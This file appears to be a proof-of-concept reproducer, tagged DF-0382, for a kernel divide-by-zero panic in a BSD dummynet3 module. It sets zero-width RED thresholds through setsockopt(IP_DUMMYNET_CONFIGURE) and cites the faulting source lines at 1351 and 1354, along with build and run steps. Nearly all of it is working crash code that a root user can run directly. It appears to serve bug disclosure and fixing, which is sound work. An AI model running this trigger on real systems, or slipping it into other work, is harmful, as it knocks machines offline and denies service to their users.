DF-0382 / df_0382_div0.c
/* * DF-0382 — dummynet3 config_red divide-by-zero panic * * Trigger: setsockopt(IPPROTO_IP, IP_DUMMYNET_CONFIGURE, ...) with a flowset * whose RED parameters drive a zero divisor in config_red(): * * sys/net/dummynet3/ip_dummynet3.c:1351 * x->c_1 = ioc_fs->max_p / (ioc_fs->max_th - ioc_fs->min_th); * sys/net/dummynet3/ip_dummynet3.c:1354 (DN_IS_GENTLE_RED) * x->c_3 = (SCALE(1) - ioc_fs->max_p) / ioc_fs->max_th; * * Run as root (raw IP socket needs SYSCAP_NONET_RAW). Requires dummynet3.ko. * * cc -O2 -o df_0382_div0 df_0382_div0.c * ./df_0382_div0 # line 1351 path: max_th==min_th * ./df_0382_div0 gentle # line 1354 path: GENTLE_RED, max_th==0 */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <net/dummynet3/ip_dummynet3.h> #include <errno.h> #include <stdio.h> #include <string.h> #include <unistd.h> /* IP_DUMMYNET_CONFIGURE = 60, matches sys/net/ipfw3/ip_fw3.h:384 */ #ifndef IP_DUMMYNET_CONFIGURE #define IP_DUMMYNET_CONFIGURE 60 #endif int main(int argc, char **argv) { struct dn_ioc_pipe ioc; int s, error, gentle = 0; if (argc > 1 && strcmp(argv[1], "gentle") == 0) gentle = 1; memset(&ioc, 0, sizeof ioc); /* * config_pipe (:1476) rejects pipe_nr==0&&fs_nr==0 AND pipe_nr!=0&&fs_nr!=0. * Use the pipe path (pipe_nr != 0, fs_nr == 0) which calls * set_fs_parms(&x->fs, ioc_fs) at :1523, which calls config_red when * flags_fs & DN_IS_RED. */ ioc.fs.flags_fs = 0x0002; /* DN_IS_RED */ if (gentle) { ioc.fs.flags_fs |= 0x0004; /* DN_IS_GENTLE_RED */ /* line 1354 path: max_th == 0 -> (SCALE(1)-max_p)/0 */ ioc.fs.max_th = 0; ioc.fs.min_th = 0; ioc.fs.max_p = 0; } else { /* line 1351 path: max_th == min_th -> max_p/(max_th-min_th) */ ioc.fs.max_th = 10; ioc.fs.min_th = 10; ioc.fs.max_p = 1; } ioc.fs.fs_nr = 0; /* MUST be 0 when pipe_nr != 0 */ ioc.pipe_nr = 1; /* new pipe */ ioc.bandwidth = 1000000; ioc.delay = 1; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(SOCK_RAW, IPPROTO_RAW) -- need SYSCAP_NONET_RAW (root)"); return 2; } error = setsockopt(s, IPPROTO_IP, IP_DUMMYNET_CONFIGURE, &ioc, sizeof ioc); if (error) fprintf(stderr, "setsockopt IP_DUMMYNET_CONFIGURE: %s\n", strerror(errno)); else printf("setsockopt returned 0 -- dummynet3 not loaded or path avoided? " "(bug expected to panic before returning)\n"); close(s); return error ? 1 : 0; } |